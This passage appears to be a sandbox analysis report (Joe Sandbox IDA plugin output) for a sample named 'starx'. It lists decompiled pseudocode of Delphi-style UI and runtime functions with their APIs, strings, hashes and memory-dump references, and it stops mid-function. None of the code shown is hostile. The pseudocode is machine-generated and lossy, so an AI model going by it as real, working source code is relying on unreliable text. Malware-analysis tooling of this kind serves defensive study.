Instruction ID: fd029f979ab879c2365b0f935fcf7c66ca5c01708d07a99da55274c1d303cbd9
Opcode Fuzzy Hash: d2a89b54c00a7b6738600583b2c367df9250bb97a9dccb6f70f9bd42fe139c98
Instruction Fuzzy Hash: 0A41BF30300605AFCF54EB25C981B9AB3A9BFC5304F04016BE94493681FBBCED958B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B9EC, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040B9EC(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				struct _MEMORY_BASIC_INFORMATION _v36;
				char _v297;
				char _v304;
				intOrPtr _v308;
				char _v312;
				char _v316;
				char _v320;
				intOrPtr _v324;
				char _v328;
				void* _v332;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				intOrPtr _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				char _v372;
				intOrPtr _t52;
				intOrPtr _t60;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr _t89;
				intOrPtr _t101;
				void* _t108;
				intOrPtr _t110;
				void* _t113;

				_t108 = __edi;
				_v372 = 0;
				_v336 = 0;
				_v344 = 0;
				_v340 = 0;
				_v8 = 0;
				_push(_t113);
				_push(0x40bba7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffe90;
				_t89 =  *((intOrPtr*)(_a4 - 4));
				if( *((intOrPtr*)(_t89 + 0x14)) != 0) {
					_t52 =  *0x47e75c; // 0x406d20
					E00405B24(_t52,  &_v8);
				} else {
					_t86 =  *0x47e938; // 0x406d18
					E00405B24(_t86,  &_v8);
				}
				_t110 =  *((intOrPtr*)(_t89 + 0x18));
				VirtualQuery( *(_t89 + 0xc),  &_v36, 0x1c);
				if(_v36.State != 0x1000 || GetModuleFileNameA(_v36.AllocationBase,  &_v297, 0x105) == 0) {
					_v368 =  *(_t89 + 0xc);
					_v364 = 5;
					_v360 = _v8;
					_v356 = 0xb;
					_v352 = _t110;
					_v348 = 5;
					_t60 =  *0x47e770; // 0x406cc8
					E00405B24(_t60,  &_v372);
					E0040B614(_t89, _v372, 1, _t108, _t110, 2,  &_v368);
				} else {
					_v332 =  *(_t89 + 0xc);
					_v328 = 5;
					E00404230( &_v340, 0x105,  &_v297);
					E0040854C(_v340,  &_v336);
					_v324 = _v336;
					_v320 = 0xb;
					_v316 = _v8;
					_v312 = 0xb;
					_v308 = _t110;
					_v304 = 5;
					_t82 =  *0x47e7f8; // 0x406dc0
					E00405B24(_t82,  &_v344);
					E0040B614(_t89, _v344, 1, _t108, _t110, 3,  &_v332);
				}
				_pop(_t101);
				 *[fs:eax] = _t101;
				_push(E0040BBAE);
				E00403FC0( &_v372);
				E00403FE4( &_v344, 3);
				return E00403FC0( &_v8);
			}

0x0040b9ec
0x0040b9f9
0x0040b9ff
0x0040ba05
0x0040ba0b
0x0040ba11
0x0040ba16
0x0040ba17
0x0040ba1c
0x0040ba1f
0x0040ba25
0x0040ba2c
0x0040ba40
0x0040ba45
0x0040ba2e
0x0040ba31
0x0040ba36
0x0040ba36
0x0040ba4a
0x0040ba57
0x0040ba63
0x0040bb1f
0x0040bb25
0x0040bb2f
0x0040bb35
0x0040bb3c
0x0040bb42
0x0040bb58
0x0040bb5d
0x0040bb6f
0x0040ba86
0x0040ba89
0x0040ba8f
0x0040baa7
0x0040bab8
0x0040bac3
0x0040bac9
0x0040bad3
0x0040bad9
0x0040bae0
0x0040bae6
0x0040bafc
0x0040bb01
0x0040bb13
0x0040bb18
0x0040bb78
0x0040bb7b
0x0040bb7e
0x0040bb89
0x0040bb99
0x0040bba6

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,0040BBA7), ref: 0040BA57
GetModuleFileNameA.KERNEL32(?,?,00000105,?,?,0000001C,00000000,0040BBA7), ref: 0040BA79

Part of subcall function 00405B24: LoadStringA.USER32 ref: 00405B55

Strings

v@, xrefs: 0040BB0E, 0040BB6A
m@, xrefs: 0040BA40

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FileLoadModuleNameQueryStringVirtual
String ID: m@$ v@
API String ID: 902310565-2800501574
Opcode ID: 0293a8d24ca1fbd0b83804457890c66ee6ef48de7731fa9f7d4705425d88614b
Instruction ID: a2955fd040ee375f9d9e7deebb537b6b39c461fdc91a98b142331223c07c2b92
Opcode Fuzzy Hash: 0293a8d24ca1fbd0b83804457890c66ee6ef48de7731fa9f7d4705425d88614b
Instruction Fuzzy Hash: 4441E270900658DFDB21DF65CD81BDAB7F8EB48304F4044EAA408AB295D778AE85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00450350, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00450350(intOrPtr* __eax) {
				struct tagMENUITEMINFOA _v128;
				intOrPtr _v132;
				int _t16;
				intOrPtr* _t29;
				struct HMENU__* _t36;
				MENUITEMINFOA* _t37;

				_t37 =  &_v128;
				_t29 = __eax;
				_t16 =  *0x47e934; // 0x47f740
				if( *((char*)(_t16 + 0xd)) != 0 &&  *((intOrPtr*)(__eax + 0x38)) != 0) {
					_t36 =  *((intOrPtr*)( *__eax + 0x34))();
					_t37->cbSize = 0x2c;
					_v132 = 0x10;
					_v128.hbmpUnchecked =  &(_v128.cch);
					_v128.dwItemData = 0x50;
					_t16 = GetMenuItemInfoA(_t36, 0, 0xffffffff, _t37);
					if(_t16 != 0) {
						_t16 = E004506D4(_t29);
						asm("sbb edx, edx");
						if(_t16 != (_v128.cbSize & 0x00006000) + 1) {
							_v128.cbSize = ((E004506D4(_t29) & 0x0000007f) << 0x0000000d) + ((E004506D4(_t29) & 0x0000007f) << 0x0000000d) * 0x00000002 | _v128 & 0xffff9fff;
							_v132 = 0x10;
							_t16 = SetMenuItemInfoA(_t36, 0, 0xffffffff, _t37);
							if(_t16 != 0) {
								return DrawMenuBar( *(_t29 + 0x38));
							}
						}
					}
				}
				return _t16;
			}

0x00450352
0x00450355
0x00450357
0x00450360
0x00450377
0x00450379
0x00450380
0x0045038c
0x00450390
0x0045039e
0x004503a5
0x004503a9
0x004503bb
0x004503c0
0x004503de
0x004503e2
0x004503f0
0x004503f7
0x00000000
0x004503fd
0x004503f7
0x004503c0
0x004503a5
0x0045040a

APIs

GetMenuItemInfoA.USER32 ref: 0045039E
SetMenuItemInfoA.USER32(00000000,00000000,000000FF), ref: 004503F0
DrawMenuBar.USER32(00000000,00000000,00000000,000000FF), ref: 004503FD

Strings

P, xrefs: 00450390

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: P
API String ID: 3227129158-3110715001
Opcode ID: 9aa8f612694119407e299cea83c50659285367f98a6f738ffb63246a1f63edd3
Instruction ID: 32f7bd35cb8cc9bee7db5b04f36b140e775db6ae7d9e38d5d9bf17a506fa8995
Opcode Fuzzy Hash: 9aa8f612694119407e299cea83c50659285367f98a6f738ffb63246a1f63edd3
Instruction Fuzzy Hash: 861101B12052006FD310DB28CC82B4B7BD4AF85365F14862AF994EB3D7C739D898C74A

Uniqueness

Uniqueness Score: -1.00%

Function 00444BB4, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00444BB4(struct HWND__* __eax, intOrPtr __ecx, char __edx, char _a4) {
				intOrPtr _v8;
				char _v12;
				struct tagRECT _v28;
				intOrPtr _t19;
				struct HWND__* _t20;
				intOrPtr* _t23;

				_t20 = __eax;
				_t1 =  &_a4; // 0x444e70
				_t23 =  *_t1;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 =  &_v12; // 0x444e70
				ClientToScreen(__eax, _t4);
				GetWindowRect(_t20,  &_v28);
				_t6 =  &_v12; // 0x444e70
				 *_t23 =  *_t6 - _v28.left;
				_t19 = _v8 - _v28.top;
				 *((intOrPtr*)(_t23 + 4)) = _t19;
				return _t19;
			}

0x00444bbc
0x00444bbe
0x00444bbe
0x00444bc1
0x00444bc4
0x00444bc7
0x00444bcc
0x00444bd6
0x00444bdb
0x00444be1
0x00444be6
0x00444be9
0x00444bf1

APIs

ClientToScreen.USER32(?,pND), ref: 00444BCC
GetWindowRect.USER32 ref: 00444BD6

Strings

pND, xrefs: 00444BC7, 00444BDB, 00444BCA
pND, xrefs: 00444BBE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ClientRectScreenWindow
String ID: pND$pND
API String ID: 3371951266-2379165179
Opcode ID: 635213c3449eb8c1cbc369b44f1947655137f777a18a8c4124ffd1ce7efe79f0
Instruction ID: b5e3eeb508c8efa37cd482c208591dfb23ea673dcd109ef15c5bfd079bce60ab
Opcode Fuzzy Hash: 635213c3449eb8c1cbc369b44f1947655137f777a18a8c4124ffd1ce7efe79f0
Instruction Fuzzy Hash: CDF0A2B190020DAFCB00DFE9D9818DEFBFCEB18210F10456AA945E3341D635AA508BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB88, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CB88() {
				_Unknown_base(*)()* _t1;
				struct HINSTANCE__* _t3;

				_t1 = GetModuleHandleA("kernel32.dll");
				_t3 = _t1;
				if(_t3 != 0) {
					_t1 = GetProcAddress(_t3, "GetDiskFreeSpaceExA");
					 *0x467130 = _t1;
				}
				if( *0x467130 == 0) {
					 *0x467130 = E00408608;
					return E00408608;
				}
				return _t1;
			}

0x0040cb8e
0x0040cb93
0x0040cb97
0x0040cb9f
0x0040cba4
0x0040cba4
0x0040cbb0
0x0040cbb7
0x00000000
0x0040cbb7
0x0040cbbd

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040D5F1,00000000,0040D604), ref: 0040CB8E
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 0040CB9F

Strings

GetDiskFreeSpaceExA, xrefs: 0040CB99
kernel32.dll, xrefs: 0040CB89

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 9a23169fcf21e11c3e364ea953249b0c897a46d658b607e29703735f7cc09657
Instruction ID: 9b561ee3f5e779d277c44cad11cdb2dbc9daf9726d1e1c17b7e329f28605ca21
Opcode Fuzzy Hash: 9a23169fcf21e11c3e364ea953249b0c897a46d658b607e29703735f7cc09657
Instruction Fuzzy Hash: 40D05E70674301CEE700EBA0BCC2B0235E5A301328F00063BE581763C1E7FD9800474D

Uniqueness

Uniqueness Score: -1.00%

Function 0043A9CC, Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0043A9CC(intOrPtr* __eax, signed int __edx) {
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr* _t60;
				intOrPtr* _t62;
				struct HICON__* _t65;
				intOrPtr _t67;
				intOrPtr* _t72;
				intOrPtr _t74;
				intOrPtr* _t75;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t85;
				struct HWND__* _t88;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr* _t93;
				intOrPtr _t97;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr _t106;
				struct HWND__* _t107;
				intOrPtr _t108;
				intOrPtr _t110;
				intOrPtr _t114;
				intOrPtr _t117;
				char _t118;
				intOrPtr _t119;
				void* _t131;
				intOrPtr _t135;
				intOrPtr _t140;
				intOrPtr* _t155;
				void* _t158;
				void* _t165;
				void* _t166;

				_t155 = __eax;
				if( *0x47fb54 != 0) {
					L3:
					_t49 =  *0x47fb34; // 0x0
					_t50 =  *0x47fb34; // 0x0
					_t117 = E0043A8AC(_t155,  *((intOrPtr*)(_t50 + 0x9b)),  &_v28, _t49);
					if( *0x47fb54 == 0) {
						_t168 =  *0x47fb58;
						if( *0x47fb58 != 0) {
							_t106 =  *0x47fb48; // 0x0
							_t107 = GetDesktopWindow();
							_t108 =  *0x47fb58; // 0x0
							E00444D64(_t108, _t107, _t168, _t106);
						}
					}
					_t53 =  *0x47fb34; // 0x0
					if( *((char*)(_t53 + 0x9b)) != 0) {
						__eflags =  *0x47fb54;
						_t6 =  &_v24;
						 *_t6 =  *0x47fb54 != 0;
						__eflags =  *_t6;
						 *0x47fb54 = 2;
					} else {
						 *0x47fb54 = 1;
						_v24 = 0;
					}
					_t54 =  *0x47fb38; // 0x0
					if(_t117 ==  *((intOrPtr*)(_t54 + 4))) {
						L12:
						_t55 =  *0x47fb38; // 0x0
						 *((intOrPtr*)(_t55 + 0xc)) =  *_t155;
						 *((intOrPtr*)(_t55 + 0x10)) =  *((intOrPtr*)(_t155 + 4));
						_t56 =  *0x47fb38; // 0x0
						if( *((intOrPtr*)(_t56 + 4)) != 0) {
							_t97 =  *0x47fb38; // 0x0
							E0043C600( *((intOrPtr*)(_t97 + 4)),  &_v20, _t155);
							_t100 =  *0x47fb38; // 0x0
							 *((intOrPtr*)(_t100 + 0x14)) = _v20;
							 *((intOrPtr*)(_t100 + 0x18)) = _v16;
						}
						_t131 = E0043A8FC(2);
						_t121 =  *_t155;
						_t60 =  *0x47fb38; // 0x0
						_t158 =  *((intOrPtr*)( *_t60 + 4))( *((intOrPtr*)(_t155 + 4)));
						if( *0x47fb58 != 0) {
							if(_t117 == 0 || ( *(_t117 + 0x51) & 0x00000020) != 0) {
								_t82 =  *0x47fb58; // 0x0
								E00444D20(_t82, _t158);
								_t84 =  *0x47fb58; // 0x0
								_t177 =  *((char*)(_t84 + 0x6a));
								if( *((char*)(_t84 + 0x6a)) != 0) {
									_t121 =  *((intOrPtr*)(_t155 + 4));
									_t85 =  *0x47fb58; // 0x0
									E00444E4C(_t85,  *((intOrPtr*)(_t155 + 4)),  *_t155, __eflags);
								} else {
									_t88 = GetDesktopWindow();
									_t121 =  *_t155;
									_t89 =  *0x47fb58; // 0x0
									E00444D64(_t89, _t88, _t177,  *((intOrPtr*)(_t155 + 4)));
								}
							} else {
								_t91 =  *0x47fb58; // 0x0
								E00444EC0(_t91, _t131, __eflags);
								_t93 =  *0x47e904; // 0x47fbbc
								SetCursor(E0045A8D8( *_t93, _t158));
							}
						}
						_t62 =  *0x47e904; // 0x47fbbc
						_t65 = SetCursor(E0045A8D8( *_t62, _t158));
						if( *0x47fb54 != 2) {
							L32:
							return _t65;
						} else {
							_t179 = _t117;
							if(_t117 != 0) {
								_t118 = E0043A938(_t121);
								_t67 =  *0x47fb38; // 0x0
								 *((intOrPtr*)(_t67 + 0x58)) = _t118;
								__eflags = _t118;
								if(__eflags != 0) {
									E0043C600(_t118,  &_v24, _t155);
									_t65 = E0040346C(_t118, __eflags);
									_t135 =  *0x47fb38; // 0x0
									 *(_t135 + 0x54) = _t65;
								} else {
									_t78 =  *0x47fb38; // 0x0
									_t65 = E0040346C( *((intOrPtr*)(_t78 + 4)), __eflags);
									_t140 =  *0x47fb38; // 0x0
									 *(_t140 + 0x54) = _t65;
								}
							} else {
								_push( *((intOrPtr*)(_t155 + 4)));
								_t80 =  *0x47fb38; // 0x0
								_t65 = E0040346C( *((intOrPtr*)(_t80 + 0x38)), _t179);
							}
							if( *0x47fb38 == 0) {
								goto L32;
							} else {
								_t119 =  *0x47fb38; // 0x0
								_t41 = _t119 + 0x5c; // 0x5c
								_t42 = _t119 + 0x44; // 0x44
								_t65 = E00407C7C(_t42, 0x10, _t41);
								if(_t65 != 0) {
									goto L32;
								}
								if(_v28 != 0) {
									_t75 =  *0x47fb38; // 0x0
									 *((intOrPtr*)( *_t75 + 0x34))();
								}
								_t72 =  *0x47fb38; // 0x0
								 *((intOrPtr*)( *_t72 + 0x30))();
								_t74 =  *0x47fb38; // 0x0
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								return _t74;
							}
						}
					}
					_t65 = E0043A8FC(1);
					if( *0x47fb38 == 0) {
						goto L32;
					}
					_t102 =  *0x47fb38; // 0x0
					 *((intOrPtr*)(_t102 + 4)) = _t117;
					_t103 =  *0x47fb38; // 0x0
					 *((intOrPtr*)(_t103 + 8)) = _v28;
					_t104 =  *0x47fb38; // 0x0
					 *((intOrPtr*)(_t104 + 0xc)) =  *_t155;
					 *((intOrPtr*)(_t104 + 0x10)) =  *((intOrPtr*)(_t155 + 4));
					_t65 = E0043A8FC(0);
					if( *0x47fb38 == 0) {
						goto L32;
					}
					goto L12;
				}
				_t110 =  *0x47fb44; // 0x0
				asm("cdq");
				_t165 = (_t110 -  *__eax ^ __edx) - __edx -  *0x47fb50; // 0x0
				if(_t165 >= 0) {
					goto L3;
				}
				_t114 =  *0x47fb48; // 0x0
				asm("cdq");
				_t65 = (_t114 -  *((intOrPtr*)(__eax + 4)) ^ __edx) - __edx;
				_t166 = _t65 -  *0x47fb50; // 0x0
				if(_t166 < 0) {
					goto L32;
				}
				goto L3;
			}

0x0043a9d2
0x0043a9db
0x0043aa0a
0x0043aa0a
0x0043aa10
0x0043aa26
0x0043aa2f
0x0043aa31
0x0043aa38
0x0043aa3a
0x0043aa40
0x0043aa4d
0x0043aa52
0x0043aa52
0x0043aa38
0x0043aa57
0x0043aa63
0x0043aa73
0x0043aa7a
0x0043aa7a
0x0043aa7a
0x0043aa7f
0x0043aa65
0x0043aa65
0x0043aa6c
0x0043aa6c
0x0043aa86
0x0043aa8e
0x0043aadb
0x0043aadb
0x0043aae2
0x0043aae8
0x0043aaeb
0x0043aaf4
0x0043aafc
0x0043ab04
0x0043ab09
0x0043ab12
0x0043ab19
0x0043ab19
0x0043ab27
0x0043ab29
0x0043ab2b
0x0043ab35
0x0043ab3e
0x0043ab42
0x0043ab4c
0x0043ab51
0x0043ab56
0x0043ab5b
0x0043ab5f
0x0043ab7a
0x0043ab7f
0x0043ab84
0x0043ab61
0x0043ab65
0x0043ab6c
0x0043ab6e
0x0043ab73
0x0043ab73
0x0043ab8b
0x0043ab8b
0x0043ab90
0x0043ab98
0x0043aba5
0x0043aba5
0x0043ab42
0x0043abad
0x0043abba
0x0043abc6
0x0043ac99
0x0043ac99
0x0043abcc
0x0043abcc
0x0043abce
0x0043abef
0x0043abf1
0x0043abf6
0x0043abf9
0x0043abfb
0x0043ac29
0x0043ac38
0x0043ac3d
0x0043ac43
0x0043abfd
0x0043ac05
0x0043ac11
0x0043ac16
0x0043ac1c
0x0043ac1c
0x0043abd0
0x0043abd3
0x0043abd6
0x0043abe3
0x0043abe3
0x0043ac4d
0x00000000
0x0043ac4f
0x0043ac4f
0x0043ac55
0x0043ac58
0x0043ac60
0x0043ac67
0x00000000
0x00000000
0x0043ac6e
0x0043ac70
0x0043ac77
0x0043ac77
0x0043ac7a
0x0043ac81
0x0043ac84
0x0043ac8f
0x0043ac90
0x0043ac91
0x0043ac92
0x00000000
0x0043ac92
0x0043ac4d
0x0043abc6
0x0043aa92
0x0043aa9e
0x00000000
0x00000000
0x0043aaa4
0x0043aaa9
0x0043aaac
0x0043aab4
0x0043aab7
0x0043aabe
0x0043aac4
0x0043aac9
0x0043aad5
0x00000000
0x00000000
0x00000000
0x0043aad5
0x0043a9dd
0x0043a9e4
0x0043a9e9
0x0043a9ef
0x00000000
0x00000000
0x0043a9f1
0x0043a9f9
0x0043a9fc
0x0043a9fe
0x0043aa04
0x00000000
0x00000000
0x00000000

APIs

GetDesktopWindow.USER32 ref: 0043AA40
GetDesktopWindow.USER32 ref: 0043AB65
SetCursor.USER32(00000000), ref: 0043ABBA

Part of subcall function 00444EC0: 73FC1770.COMCTL32(00000000,?,0043AB95), ref: 00444EDC
Part of subcall function 00444EC0: ShowCursor.USER32(000000FF,00000000,?,0043AB95), ref: 00444EF7

SetCursor.USER32(00000000), ref: 0043ABA5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Cursor$DesktopWindow$C1770Show
String ID:
API String ID: 1096013113-0
Opcode ID: 8880c299770bb462caaaee91400d79f215d0564dd61ba5cd0f30997c1ff8e5ba
Instruction ID: 44d8bdc882ae43d0e77a3b88d14cb6d8b4e911f8e13c5cab95100053525a96f0
Opcode Fuzzy Hash: 8880c299770bb462caaaee91400d79f215d0564dd61ba5cd0f30997c1ff8e5ba
Instruction Fuzzy Hash: 45914BB5645241CFC304DF29D994A16B7E1FF88314F14947AE8889B362C738FC9ACB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004354A4, Relevance: 6.1, APIs: 4, Instructions: 146
windowCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004354A4(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v5;
				long _v12;
				char _v13;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t35;
				long _t37;
				void* _t47;
				void* _t67;
				void* _t68;
				long _t80;
				void* _t85;
				intOrPtr* _t95;
				intOrPtr _t106;
				void* _t123;
				intOrPtr _t129;

				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t123 = __edx;
				_t95 = __eax;
				_push(_t129);
				_push(0x435659);
				_push( *[fs:eax]);
				 *[fs:eax] = _t129;
				_t35 = E00404280(__edx);
				_t130 = _t35;
				if(_t35 != 0) {
					_t37 = E00404480(__edx);
					_v12 = SendMessageA(E004432A4(_t95), 0x14c, 0xffffffff, _t37);
					__eflags = _v12 - 0xffffffff;
					_v5 = _v12 != 0xffffffff;
					__eflags = _v5;
					if(_v5 != 0) {
						_t47 =  *((intOrPtr*)( *_t95 + 0xcc))();
						__eflags = _t47 - _v12;
						_v13 = _t47 != _v12;
						__eflags =  *((char*)(_t95 + 0x290));
						if( *((char*)(_t95 + 0x290)) != 0) {
							_t85 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t95 + 0x23c)))) + 0x54))();
							__eflags = _t85 + 1;
							if(_t85 + 1 != 0) {
								SendMessageA(E004432A4(_t95), 0x14f, 0, 0);
							}
						}
						SendMessageA(E004432A4(_t95), 0x14e, _v12, 0);
						__eflags =  *((intOrPtr*)(_t95 + 0x276)) - 2;
						if( *((intOrPtr*)(_t95 + 0x276)) - 2 >= 0) {
							 *((intOrPtr*)( *_t95 + 0xd0))();
							E00404014(_t95 + 0x270, _t123);
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t95 + 0x23c)))) + 0xc))( &_v24);
							_push(_v28);
							_t67 = E00404280(_t123);
							_pop(_t68);
							E004044E0(_t68, 0x7fffffff, _t67 + 1);
							E004042CC( &_v20, _v24, _t123);
							E0043CAEC(_t95, _t95, _v20, _t123);
							E0043CABC(_t95,  &_v32);
							_push(E00404280(_v32));
							E00404280(_t123);
							_t80 = E00406A08();
							SendMessageA(E004432A4(_t95), 0x142, 0, _t80);
						}
						__eflags = _v13;
						if(__eflags != 0) {
							E0040346C(_t95, __eflags);
							E0040346C(_t95, __eflags);
						}
					}
				} else {
					_v5 = 0;
					 *((intOrPtr*)( *_t95 + 0xd0))();
					E0040346C(_t95, _t130);
				}
				_pop(_t106);
				 *[fs:eax] = _t106;
				_push(0x435660);
				E00403FC0( &_v32);
				return E00403FE4( &_v28, 3);
			}

0x004354a9
0x004354aa
0x004354ab
0x004354ac
0x004354ad
0x004354ae
0x004354af
0x004354b3
0x004354b5
0x004354b9
0x004354ba
0x004354bf
0x004354c2
0x004354c7
0x004354cc
0x004354ce
0x004354f3
0x0043550d
0x00435510
0x00435514
0x00435518
0x0043551c
0x00435526
0x0043552c
0x0043552f
0x00435533
0x0043553a
0x00435546
0x00435549
0x0043554a
0x0043555d
0x0043555d
0x0043554a
0x00435575
0x00435580
0x00435582
0x00435607
0x00435615
0x00435584
0x00435596
0x0043559c
0x0043559f
0x004355ac
0x004355ad
0x004355ba
0x004355c4
0x004355ce
0x004355db
0x004355de
0x004355e4
0x004355f9
0x004355f9
0x0043561a
0x0043561e
0x00435626
0x00435631
0x00435631
0x0043561e
0x004354d0
0x004354d0
0x004354db
0x004354e7
0x004354e7
0x00435638
0x0043563b
0x0043563e
0x00435646
0x00435658

APIs

SendMessageA.USER32 ref: 00435508
SendMessageA.USER32 ref: 0043555D
SendMessageA.USER32 ref: 00435575
SendMessageA.USER32 ref: 004355F9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 048082be783dc726c9ee280d234d9cc6882da4102e910fd1eccdf9d8abbc6c17
Instruction ID: b03161102a21c1d1439c7e95cb0472d28483c593dd8a84e67fc146fc7a436be3
Opcode Fuzzy Hash: 048082be783dc726c9ee280d234d9cc6882da4102e910fd1eccdf9d8abbc6c17
Instruction Fuzzy Hash: C6418170B006055BDB00EB79C886B9EB7A9AF49714F60417EF905AB3D2CA389D068768

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9AC, Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040E9AC(intOrPtr* __eax) {
				char _v260;
				char _v768;
				char _v772;
				intOrPtr* _v776;
				signed short* _v780;
				char _v784;
				signed int _v788;
				char _v792;
				intOrPtr* _v796;
				signed char _t43;
				intOrPtr* _t60;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t85;
				intOrPtr* _t92;
				void* _t96;
				char* _t97;
				void* _t98;

				_v776 = __eax;
				if(( *(_v776 + 1) & 0x00000020) == 0) {
					E0040E878(0x80070057);
				}
				_t43 =  *_v776;
				if((_t43 & 0x00000fff) == 0xc) {
					if((_t43 & 0x00000040) == 0) {
